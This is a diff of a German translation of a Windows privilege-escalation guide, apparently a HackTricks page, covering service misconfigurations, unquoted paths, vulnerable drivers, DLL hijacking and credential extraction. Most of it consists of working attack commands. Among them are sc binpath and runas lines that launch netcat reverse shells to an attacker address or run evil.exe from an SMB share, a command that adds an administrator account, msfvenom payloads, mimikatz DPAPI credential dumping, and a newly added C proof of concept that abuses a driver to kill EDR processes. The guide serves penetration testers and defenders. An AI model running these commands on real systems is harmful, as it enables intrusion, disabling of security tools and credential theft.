+Beispiel: "Windows Help and Support" (Windows + F1), suche nach "command prompt", klicke auf "Click to open Command Prompt"
 
 ## Dienste
 
@@ -418,15 +445,15 @@ Get-Service
 ```
 ### Berechtigungen
 
-Sie können **sc** verwenden, um Informationen über einen Dienst zu erhalten
+Sie können **sc** verwenden, um Informationen über einen Dienst zu erhalten.
 ```bash
 sc qc <service_name>
 ```
-Es wird empfohlen, die Binärdatei **accesschk** von _Sysinternals_ zu verwenden, um das für jeden Dienst erforderliche Privilegniveau zu prüfen.
+Es wird empfohlen, das binary **accesschk** von _Sysinternals_ zu verwenden, um das erforderliche privilege level für jeden Dienst zu prüfen.
 ```bash
 accesschk.exe -ucqv <Service_Name> #Check rights for different groups
 ```
-Es wird empfohlen zu prüfen, ob "Authenticated Users" einen Dienst modifizieren können:
+Es wird empfohlen zu prüfen, ob "Authenticated Users" einen beliebigen Dienst ändern können:
 ```bash
 accesschk.exe -uwcqv "Authenticated Users" * /accepteula
 accesschk.exe -uwcqv %USERNAME% * /accepteula
@@ -442,20 +469,20 @@ Wenn Sie diesen Fehler haben (zum Beispiel bei SSDPSRV):
 _System error 1058 has occurred._\
 _The service cannot be started, either because it is disabled or because it has no enabled devices associated with it._
 
-Sie können ihn mit folgendem Befehl aktivieren
+Sie können es wie folgt aktivieren
 ```bash
 sc config SSDPSRV start= demand
 sc config SSDPSRV obj= ".\LocalSystem" password= ""
 ```
-**Berücksichtigen Sie, dass der Dienst upnphost von SSDPSRV abhängig ist, damit er funktioniert (für XP SP1)**
+**Beachte, dass der Dienst upnphost für seine Funktion von SSDPSRV abhängig ist (für XP SP1)**
 
-**Ein weiterer Workaround dieses Problems ist das Ausführen von:**
+**Eine andere Umgehung** dieses Problems ist das Ausführen von:
 ```
 sc.exe config usosvc start= auto
 ```
-### **Modify service binary path**
+### **Service-Binärpfad ändern**
 
-Im Szenario, in dem die Gruppe "Authenticated users" über **SERVICE_ALL_ACCESS** auf einen Dienst verfügt, ist eine Modifikation der ausführbaren Binary des Dienstes möglich. Um **sc** zu modifizieren und auszuführen:
+In dem Szenario, in dem die Gruppe "Authenticated users" über **SERVICE_ALL_ACCESS** für einen Service verfügt, ist die Modifikation der ausführbaren Binärdatei des Service möglich. Um **sc** zu modifizieren und auszuführen:
 ```bash
 sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
 sc config <Service_Name> binpath= "net localgroup administrators username /add"
@@ -468,26 +495,26 @@ sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"
 wmic service NAMEOFSERVICE call startservice
 net stop [service name] && net start [service name]
 ```
-Privilegien können durch folgende Rechte eskaliert werden:
+Privilegien können durch folgende Berechtigungen eskaliert werden:
 
-- **SERVICE_CHANGE_CONFIG**: Erlaubt die Neukonfiguration der Service-Binärdatei.
-- **WRITE_DAC**: Ermöglicht die Neukonfiguration von Berechtigungen, was dazu führen kann, Service-Konfigurationen zu ändern.
-- **WRITE_OWNER**: Ermöglicht das Übernehmen des Eigentums und das Neukonfigurieren von Berechtigungen.
-- **GENERIC_WRITE**: Ermöglicht das Ändern von Service-Konfigurationen.
-- **GENERIC_ALL**: Ermöglicht ebenfalls das Ändern von Service-Konfigurationen.
+- **SERVICE_CHANGE_CONFIG**: Ermöglicht die Neukonfiguration des Service-Binaries.
+- **WRITE_DAC**: Ermöglicht die Neukonfiguration von Berechtigungen, wodurch Service-Konfigurationen geändert werden können.
+- **WRITE_OWNER**: Ermöglicht den Erwerb des Eigentums und die Neukonfiguration von Berechtigungen.
+- **GENERIC_WRITE**: Verleiht ebenfalls die Möglichkeit, Service-Konfigurationen zu ändern.
+- **GENERIC_ALL**: Gewährt ebenfalls die Möglichkeit, Service-Konfigurationen zu ändern.
 
 Zur Erkennung und Ausnutzung dieser Schwachstelle kann das _exploit/windows/local/service_permissions_ verwendet werden.
 
-### Schwache Berechtigungen von Service-Binärdateien
+### Services binaries weak permissions
 
-**Prüfe, ob du die Binärdatei, die von einem Service ausgeführt wird, ändern kannst** oder ob du **Schreibrechte auf den Ordner** hast, in dem die Binärdatei liegt ([**DLL Hijacking**](dll-hijacking/index.html))**.**\
-Du kannst alle Binärdateien, die von einem Service ausgeführt werden, mit **wmic** (nicht in system32) erhalten und deine Berechtigungen mit **icacls** prüfen:
+**Prüfe, ob du die Binärdatei, die von einem Service ausgeführt wird, ändern kannst** oder ob du **Schreibberechtigungen für den Ordner** hast, in dem die Binärdatei liegt ([**DLL Hijacking**](dll-hijacking/index.html))**.**\
+Du kannst alle Binärdateien, die von einem Service ausgeführt werden, mit **wmic** (nicht in system32) ermitteln und deine Berechtigungen mit **icacls** überprüfen:
 ```bash
 for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
 
 for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"
 ```
-Sie können auch **sc** und **icacls** verwenden:
+Sie können auch **sc** und **icacls**:
 ```bash
 sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
 FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
@@ -495,8 +522,9 @@ FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >>
 ```
 ### Berechtigungen zum Ändern der Service-Registry
 
-Du solltest prüfen, ob du eine Service-Registry ändern kannst.\
-Du kannst deine **Berechtigungen** an einer Service-**Registry** prüfen, indem du:
+Du solltest prüfen, ob du irgendeine Service-Registry modifizieren kannst.\
+
+Du kannst deine **Berechtigungen** für eine Service-**Registry** **prüfen**, indem du Folgendes ausführst:
 ```bash
 reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
 
@@ -505,15 +533,16 @@ for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\
 
 get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"
 ```
-Es sollte geprüft werden, ob **Authenticated Users** oder **NT AUTHORITY\INTERACTIVE** `FullControl`-Berechtigungen besitzen. Falls ja, kann die vom Dienst ausgeführte Binärdatei verändert werden.
+Es sollte überprüft werden, ob **Authenticated Users** oder **NT AUTHORITY\INTERACTIVE** `FullControl`-Berechtigungen besitzen. Falls ja, kann die vom Dienst ausgeführte Binärdatei verändert werden.
 
 Um den Pfad der ausgeführten Binärdatei zu ändern:
 ```bash
 reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f
 ```
-### AppendData/AddSubdirectory-Berechtigungen der Services-Registry
+### Services registry AppendData/AddSubdirectory Berechtigungen
+
+Wenn Sie diese Berechtigung für eine Registry haben, bedeutet das, dass **Sie daraus Unterschlüssel erstellen können**. Im Fall von Windows services ist das **ausreichend, um beliebigen Code auszuführen:**
 
-Wenn Sie diese Berechtigung für einen Registry-Schlüssel haben, bedeutet das, dass **Sie Unterschlüssel daraus erstellen können**. Im Fall von Windows-Diensten ist das **ausreichend, um beliebigen Code auszuführen:**
 
 {{#ref}}
 appenddata-addsubdirectory-permission-over-service-registry.md
@@ -521,15 +550,15 @@ appenddata-addsubdirectory-permission-over-service-registry.md
 
 ### Unquoted Service Paths
 
-Wenn der Pfad zu einer ausführbaren Datei nicht in Anführungszeichen steht, versucht Windows, jede Teilkette vor einem Leerzeichen auszuführen.
+Wenn der Pfad zu einer ausführbaren Datei nicht in Anführungszeichen steht, versucht Windows, jede Teilfolge vor einem Leerzeichen auszuführen.
 
-Zum Beispiel würde Windows für den Pfad _C:\Program Files\Some Folder\Service.exe_ versuchen, folgende Dateien auszuführen:
+Zum Beispiel versucht Windows für den Pfad _C:\Program Files\Some Folder\Service.exe_ Folgendes auszuführen:
 ```bash
 C:\Program.exe
 C:\Program Files\Some.exe
 C:\Program Files\Some Folder\Service.exe
 ```
-Liste alle unquoted service paths auf, ausgenommen diejenigen, die zu den integrierten Windows-Diensten gehören:
+Alle unquoted service paths auflisten, ausgenommen diejenigen, die zu eingebauten Windows-Diensten gehören:
 ```bash
 wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
 wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"'  # Not only auto services
@@ -555,13 +584,13 @@ msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f ex
 ```
 ### Wiederherstellungsaktionen
 
-Windows erlaubt es, Aktionen anzugeben, die ausgeführt werden sollen, falls ein Dienst fehlschlägt. Diese Funktion kann so konfiguriert werden, dass sie auf ein binary zeigt. Wenn dieses binary ersetzbar ist, könnte privilege escalation möglich sein. Weitere Details finden sich in der [offiziellen Dokumentation](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)?redirectedfrom=MSDN>).
+Windows ermöglicht es Benutzern, Aktionen anzugeben, die ausgeführt werden sollen, wenn ein Dienst ausfällt. Diese Funktion kann so konfiguriert werden, dass sie auf ein binary zeigt. Wenn dieses binary ersetzbar ist, könnte privilege escalation möglich sein. Weitere Details finden sich in der [official documentation](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)?redirectedfrom=MSDN>).
 
 ## Anwendungen
 
 ### Installierte Anwendungen
 
-Überprüfe die **Berechtigungen der binaries** (vielleicht kannst du eines überschreiben und privilege escalation erreichen) und der **Ordner** ([DLL Hijacking](dll-hijacking/index.html)).
+Prüfe die **Berechtigungen der binaries** (vielleicht kannst du eines überschreiben und escalate privileges) und die **Ordner** ([DLL Hijacking](dll-hijacking/index.html)).
 ```bash
 dir /a "C:\Program Files"
 dir /a "C:\Program Files (x86)"
@@ -570,9 +599,9 @@ reg query HKEY_LOCAL_MACHINE\SOFTWARE
 Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
 Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
 ```
-### Schreibrechte
+### Schreibberechtigungen
 
-Prüfe, ob du eine Konfigurationsdatei ändern kannst, um eine bestimmte Datei zu lesen, oder ob du ein binary ändern kannst, das von einem Administrator-Konto (schedtasks) ausgeführt wird.
+Überprüfe, ob du eine config file ändern kannst, um eine spezielle Datei zu lesen, oder ob du ein binary ändern kannst, das von einem Administrator-Konto (schedtasks) ausgeführt wird.
 
 Eine Möglichkeit, schwache Ordner-/Dateiberechtigungen im System zu finden, ist:
 ```bash
@@ -597,9 +626,9 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac
 
 Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}
 ```
-### Beim Start ausführen
+### Beim Systemstart
 
-**Prüfe, ob du eine registry oder binary überschreiben kannst, die von einem anderen Benutzer ausgeführt wird.**\
+**Prüfe, ob du einige registry- oder binary-Dateien überschreiben kannst, die von einem anderen Benutzer ausgeführt werden.**\
 **Lies** die **folgende Seite**, um mehr über interessante **autoruns locations to escalate privileges** zu erfahren:
 
 
@@ -615,22 +644,58 @@ driverquery
 driverquery.exe /fo table
 driverquery /SI
 ```
-Wenn ein driver ein arbitrary kernel read/write primitive aussetzt (häufig in schlecht gestalteten IOCTL handlers), kannst du escalate, indem du ein SYSTEM token direkt aus kernel memory stiehlst. Siehe die Schritt‑für‑Schritt‑Technik hier:
+Wenn ein Treiber ein beliebiges Kernel-Lese-/Schreib-Primitiv bereitstellt (häufig in schlecht gestalteten IOCTL-Handlern), kann man durch das Stehlen eines SYSTEM token direkt aus dem Kernel-Speicher eskalieren. Siehe die Schritt‑für‑Schritt-Technik hier:
 
 {{#ref}}
 arbitrary-kernel-rw-token-theft.md
 {{#endref}}
 
+#### Ausnutzung fehlenden FILE_DEVICE_SECURE_OPEN bei Device-Objekten (LPE + EDR kill)
+
+Einige signierte Drittanbieter-Treiber erstellen ihr Device-Objekt mit einer starken SDDL via IoCreateDeviceSecure, vergessen aber, FILE_DEVICE_SECURE_OPEN in DeviceCharacteristics zu setzen. Ohne dieses Flag wird die sichere DACL nicht durchgesetzt, wenn das Device über einen Pfad geöffnet wird, der eine zusätzliche Komponente enthält, wodurch jeder nicht‑privilegierte Benutzer einen Handle erhalten kann, indem er einen Namespace-Pfad wie:
+
+- \\ .\\DeviceName\\anything
+- \\ .\\amsdk\\anyfile (from a real-world case)
+
+verwendet.
+
+Sobald ein Benutzer das Device öffnen kann, können privilegierte IOCTLs, die vom Treiber bereitgestellt werden, für LPE und Manipulation ausgenutzt werden. Beispielhafte Fähigkeiten, die in der Praxis beobachtet wurden:
+- Gibt Vollzugriffs-Handles an beliebige Prozesse zurück (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser).
+- Uneingeschränkte rohe Festplatten-Lese-/Schreibzugriffe (Offline-Manipulation, Bootzeit-Persistenz-Tricks).
+- Terminieren beliebiger Prozesse, einschließlich Protected Process/Light (PP/PPL), wodurch ein AV/EDR kill aus dem Userland via Kernel möglich wird.
+
+Minimal PoC pattern (user mode):
+```c
+// Example based on a vulnerable antimalware driver
+#define IOCTL_REGISTER_PROCESS  0x80002010
+#define IOCTL_TERMINATE_PROCESS 0x80002048
+
+HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
+DWORD me = GetCurrentProcessId();
+DWORD target = /* PID to kill or open */;
+DeviceIoControl(h, IOCTL_REGISTER_PROCESS,  &me,     sizeof(me),     0, 0, 0, 0);
+DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);
+```
+Abhilfemaßnahmen für Entwickler
+- Setzen Sie immer FILE_DEVICE_SECURE_OPEN, wenn Sie Device-Objekte erstellen, die durch eine DACL eingeschränkt werden sollen.
+- Validieren Sie den Caller-Kontext für privilegierte Operationen. Fügen Sie PP/PPL-Prüfungen hinzu, bevor Sie Prozessbeendigung oder die Rückgabe von Handles erlauben.
+- Beschränken Sie IOCTLs (access masks, METHOD_*, Eingabevalidierung) und erwägen Sie vermittelte Modelle statt direkter Kernel-Privilegien.
+
+Erkennungsansätze für Verteidiger
+- Überwachen Sie User-Mode-Zugriffe auf verdächtige Device-Namen (z. B. \\ .\\amsdk*) und spezifische IOCTL-Sequenzen, die auf Missbrauch hindeuten.
+- Setzen Sie Microsofts Blockliste für vulnerable Treiber durch (HVCI/WDAC/Smart App Control) und pflegen Sie eigene Zulassungs-/Sperrlisten.
+
 
 ## PATH DLL Hijacking
 
-Wenn du **write permissions inside a folder present on PATH** hast, könntest du eine von einem Prozess geladene DLL hijacken und **escalate privileges**.
+Wenn Sie **Schreibberechtigungen in einem Ordner haben, der im PATH enthalten ist**, könnten Sie eine von einem Prozess geladene DLL hijacken und **escalate privileges**.
 
-Prüfe die Berechtigungen aller Ordner in PATH:
+Überprüfen Sie die Berechtigungen aller Ordner im PATH:
 ```bash
 for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
 ```
-Weitere Informationen dazu, wie man diese Prüfung ausnutzen kann:
+Für weitere Informationen darüber, wie man diese Prüfung ausnutzen kann:
+
 
 {{#ref}}
 dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
@@ -646,9 +711,9 @@ net view \\computer /ALL #List shares of a computer
 net use x: \\computer\share #Mount the share locally
 net share #Check current shares
 ```
-### hosts-Datei
+### Hosts-Datei
 
-Überprüfe, ob andere bekannte Computer fest in der hosts-Datei hinterlegt sind.
+Prüfe auf andere bekannte Computer, die fest in der Hosts-Datei eingetragen sind.
 ```
 type C:\Windows\System32\drivers\etc\hosts
 ```
@@ -658,7 +723,7 @@ ipconfig /all
 Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
 Get-DnsClientServerAddress -AddressFamily IPv4 | ft
 ```
-### Offene Ports
+### Open Ports
 
 Prüfe von außen auf **eingeschränkte Dienste**
 ```bash
@@ -676,31 +741,31 @@ Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
 ```
 ### Firewall-Regeln
 
-[**Siehe diese Seite für Firewall-bezogene Befehle**](../basic-cmd-for-pentesters.md#firewall) **(Regeln auflisten, Regeln erstellen, deaktivieren, deaktivieren...)**
+[**Check this page for Firewall related commands**](../basic-cmd-for-pentesters.md#firewall) **(Regeln auflisten, Regeln erstellen, ausschalten, ausschalten...)**
 
-Mehr [Befehle für network enumeration hier](../basic-cmd-for-pentesters.md#network)
+Mehr[ commands for network enumeration here](../basic-cmd-for-pentesters.md#network)
 
 ### Windows Subsystem for Linux (wsl)
 ```bash
 C:\Windows\System32\bash.exe
 C:\Windows\System32\wsl.exe
 ```
-Die Binärdatei `bash.exe` kann auch in `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` gefunden werden
+Die Binärdatei `bash.exe` kann auch unter `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` gefunden werden.
 
-Wenn du root user wirst, kannst du auf jedem Port lauschen (das erste Mal, wenn du `nc.exe` benutzt, um auf einem Port zu lauschen, wird per GUI gefragt, ob `nc` durch die Firewall erlaubt werden soll).
+Wenn du root user bist, kannst du an jedem Port lauschen (das erste Mal, wenn du `nc.exe` benutzt, um an einem Port zu lauschen, fragt die GUI, ob `nc` von der Firewall zugelassen werden soll).
 ```bash
 wsl whoami
 ./ubuntun1604.exe config --default-user root
 wsl whoami
 wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
 ```
-Um bash einfach als root zu starten, kannst du `--default-user root` verwenden.
+Um bash einfach als root zu starten, kannst du `--default-user root` ausprobieren.
 
 Du kannst das `WSL`-Dateisystem im Ordner `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` erkunden.
 
-## Windows-Anmeldeinformationen
+## Windows Credentials
 
-### Winlogon-Anmeldeinformationen
+### Winlogon Credentials
 ```bash
 reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"
 
@@ -712,14 +777,14 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef
 reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
 reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword
 ```
-### Credentials manager / Windows vault
+### Anmeldeinformationsverwaltung / Windows Vault
 
-From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
-Der Windows Vault speichert Benutzeranmeldeinformationen für Server, Websites und andere Programme, mit denen **Windows** Benutzer automatisch anmelden kann. Auf den ersten Blick mag es so aussehen, als könnten Benutzer ihre Facebook-, Twitter-, Gmail-Anmeldeinformationen usw. dort speichern, damit sie sich automatisch über browsers anmelden. Das ist jedoch nicht der Fall.
+Von [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
+Die Windows Vault speichert Benutzeranmeldeinformationen für Server, Websites und andere Programme, bei denen **Windows** die Benutzer **automatisch anmelden** kann. Auf den ersten Blick könnte es so aussehen, als könnten Benutzer ihre Facebook-, Twitter-, Gmail-Anmeldeinformationen usw. speichern, damit sie sich automatisch über Browser anmelden. Das ist jedoch nicht der Fall.
 
-Der Windows Vault speichert Anmeldeinformationen, mit denen Windows Benutzer automatisch anmelden kann, was bedeutet, dass jede **Windows-Anwendung, die Anmeldeinformationen benötigt, um auf eine Ressource zuzugreifen** (Server oder eine Website) **den Credential Manager** & Windows Vault nutzen kann und die bereitgestellten Anmeldeinformationen verwendet, anstatt dass Benutzer ständig Benutzername und Passwort eingeben müssen.
+Die Windows Vault speichert Anmeldeinformationen, mit denen Windows Benutzer automatisch anmelden kann, was bedeutet, dass jede **Windows-Anwendung, die Anmeldeinformationen benötigt, um auf eine Ressource zuzugreifen** (Server oder Website), **den Credential Manager** & Windows Vault nutzen kann und die gespeicherten Anmeldeinformationen verwendet, anstatt dass Benutzer ständig Benutzernamen und Passwort eingeben.
 
-Sofern die Anwendungen nicht mit dem Credential Manager interagieren, ist es meiner Ansicht nach nicht möglich, dass sie die Anmeldeinformationen für eine bestimmte Ressource verwenden. Wenn Ihre Anwendung den Vault nutzen möchte, sollte sie also irgendwie **mit dem Credential Manager kommunizieren und die Anmeldeinformationen für diese Ressource anfordern** aus dem Standard-Speichervault.
+Sofern die Anwendungen nicht mit dem Credential Manager interagieren, ist es meiner Meinung nach nicht möglich, dass sie die Anmeldeinformationen für eine bestimmte Ressource verwenden. Wenn Ihre Anwendung also die Vault nutzen möchte, sollte sie sich irgendwie **mit dem Credential Manager kommunizieren und die Anmeldeinformationen für diese Ressource anfordern** aus dem Standard-Speichervault.
 
 Verwenden Sie `cmdkey`, um die auf der Maschine gespeicherten Anmeldeinformationen aufzulisten.
 ```bash
@@ -729,49 +794,48 @@ Target: Domain:interactive=WORKGROUP\Administrator
 Type: Domain Password
 User: WORKGROUP\Administrator
 ```
-Dann können Sie `runas` mit der Option `/savecred` verwenden, um die gespeicherten Anmeldeinformationen zu nutzen. Das folgende Beispiel ruft eine entfernte Binärdatei über ein SMB-Share auf.
+Dann können Sie `runas` mit der Option `/savecred` verwenden, um die gespeicherten Anmeldeinformationen zu nutzen. Im folgenden Beispiel wird eine remote binary über ein SMB share aufgerufen.
 ```bash
 runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
 ```
-Verwendung von `runas` mit einem bereitgestellten Satz von Anmeldeinformationen.
+Verwenden von `runas` mit einem bereitgestellten Satz von Anmeldeinformationen.
 ```bash
 C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
 ```
-Beachte, dass mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), oder das [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1) benutzt werden können.
+Beachte, dass mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), oder von [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1).
 
 ### DPAPI
 
-Die Data Protection API (DPAPI) bietet eine Methode zur symmetrischen Verschlüsselung von Daten und wird hauptsächlich im Windows-Betriebssystem für die symmetrische Verschlüsselung asymmetrischer privater Schlüssel verwendet. Diese Verschlüsselung nutzt ein Benutzer- oder Systemgeheimnis, das erheblich zur Entropie beiträgt.
+Die **Data Protection API (DPAPI)** bietet eine Methode zur symmetrischen Verschlüsselung von Daten, die vorwiegend innerhalb des Windows-Betriebssystems für die symmetrische Verschlüsselung asymmetrischer privater Schlüssel verwendet wird. Diese Verschlüsselung nutzt ein Benutzer- oder Systemgeheimnis, das wesentlich zur Entropie beiträgt.
 
-**DPAPI ermöglicht die Verschlüsselung von Schlüsseln mittels eines symmetrischen Schlüssels, der aus den Anmeldegeheimnissen des Benutzers abgeleitet wird**. In Szenarien mit Systemverschlüsselung verwendet es die Domain-Authentifizierungsgeheimnisse des Systems.
+**DPAPI ermöglicht die Verschlüsselung von Schlüsseln durch einen symmetrischen Schlüssel, der aus den Login-Geheimnissen des Benutzers abgeleitet wird**. In Szenarien mit Systemverschlüsselung verwendet es die Domain-Authentifizierungsgeheimnisse des Systems.
 
-Verschlüsselte Benutzer-RSA-Schlüssel werden mittels DPAPI im Verzeichnis `%APPDATA%\Microsoft\Protect\{SID}` gespeichert, wobei `{SID}` den Benutzer-[Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) darstellt. **Der DPAPI-Schlüssel, der zusammen mit dem Master-Schlüssel, der die privaten Schlüssel des Benutzers schützt, in derselben Datei abgelegt ist**, besteht typischerweise aus 64 Byte Zufallsdaten. (Es ist wichtig zu beachten, dass der Zugriff auf dieses Verzeichnis eingeschränkt ist, sodass seine Inhalte nicht mit dem `dir`-Befehl in CMD aufgelistet werden können, obwohl es über PowerShell aufgelistet werden kann).
+Verschlüsselte Benutzer-RSA-Schlüssel werden unter Verwendung von DPAPI im Verzeichnis `%APPDATA%\Microsoft\Protect\{SID}` gespeichert, wobei `{SID}` den Benutzer-[Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) darstellt. **Der DPAPI-Schlüssel, der zusammen mit dem Master-Key, der die privaten Schlüssel des Benutzers in derselben Datei schützt, gespeichert ist**, besteht typischerweise aus 64 Bytes Zufallsdaten. (Es ist wichtig zu beachten, dass der Zugriff auf dieses Verzeichnis eingeschränkt ist; ein Auflisten des Inhalts mit dem `dir`-Befehl in CMD ist nicht möglich, jedoch kann es über PowerShell aufgelistet werden).
 ```bash
 Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
 Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\
 ```
-Du kannst das **mimikatz module** `dpapi::masterkey` mit den entsprechenden Argumenten (`/pvk` oder `/rpc`) verwenden, um es zu entschlüsseln.
+Sie können das **mimikatz module** `dpapi::masterkey` mit den entsprechenden Argumenten (`/pvk` oder `/rpc`) verwenden, um es zu entschlüsseln.
 
-Die **credentials files protected by the master password** befinden sich normalerweise in:
+Die **credentials files protected by the master password** befinden sich üblicherweise in:
 ```bash
 dir C:\Users\username\AppData\Local\Microsoft\Credentials\
 dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
 Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
 Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
 ```
-Du kannst das **mimikatz Modul** `dpapi::cred` mit dem passenden `/masterkey` zum Entschlüsseln verwenden.\
-Du kannst **viele DPAPI** **masterkeys** aus **memory** mit dem `sekurlsa::dpapi` Modul extrahieren (wenn du root bist).
-
+Sie können **mimikatz module** `dpapi::cred` mit dem passenden `/masterkey` zum Entschlüsseln verwenden.\  
+Mit dem `sekurlsa::dpapi` module (wenn Sie root sind) können Sie **extract many DPAPI** **masterkeys** from **memory**.
 
 {{#ref}}
 dpapi-extracting-passwords.md
 {{#endref}}
 
-### PowerShell Credentials
+### PowerShell Anmeldeinformationen
 
-**PowerShell credentials** werden oft für **scripting**- und Automatisierungsaufgaben verwendet, als Möglichkeit, verschlüsselte credentials bequem zu speichern. Die credentials sind mit **DPAPI** geschützt, was typischerweise bedeutet, dass sie nur vom selben Benutzer auf demselben Computer entschlüsselt werden können, auf dem sie erstellt wurden.
+**PowerShell credentials** werden häufig für **scripting** und Automatisierungsaufgaben verwendet, um verschlüsselte Anmeldeinformationen bequem zu speichern. Die Anmeldeinformationen werden mit **DPAPI** geschützt, was typischerweise bedeutet, dass sie nur vom selben Benutzer auf demselben Computer, auf dem sie erstellt wurden, entschlüsselt werden können.
 
-Um eine PS credential aus der Datei, die sie enthält, zu **entschlüsseln**, kannst du Folgendes tun:
+Um eine PS-Anmeldeinformation aus der Datei, die sie enthält, zu **entschlüsseln**, können Sie Folgendes tun:
 ```bash
 PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
 PS C:\> $credential.GetNetworkCredential().username
@@ -801,20 +865,20 @@ und in `HKCU\Software\Microsoft\Terminal Server Client\Servers\`
 HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
 HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
 ```
-### **Remotedesktop-Anmeldeinformationsverwaltung**
+### **Remote Desktop-Anmeldeinformationsmanager**
 ```
 %localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
 ```
-Verwende das **Mimikatz** `dpapi::rdg` Modul mit dem passenden `/masterkey`, um **beliebige .rdg files zu entschlüsseln**\
-Du kannst mit dem Mimikatz `sekurlsa::dpapi` Modul **viele DPAPI masterkeys** aus dem Speicher extrahieren
+Verwenden Sie das **Mimikatz** `dpapi::rdg`-Modul mit dem entsprechenden `/masterkey`, um **beliebige .rdg-Dateien zu entschlüsseln**\
+Sie können mit dem Mimikatz `sekurlsa::dpapi`-Modul viele **DPAPI masterkeys** aus dem Speicher extrahieren
 
 ### Sticky Notes
 
-Viele Benutzer verwenden die StickyNotes-App auf Windows-Arbeitsstationen, um **Passwörter zu speichern** und andere Informationen, ohne zu erkennen, dass es sich um eine Datenbankdatei handelt. Diese Datei befindet sich unter `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` und sollte immer gesucht und untersucht werden.
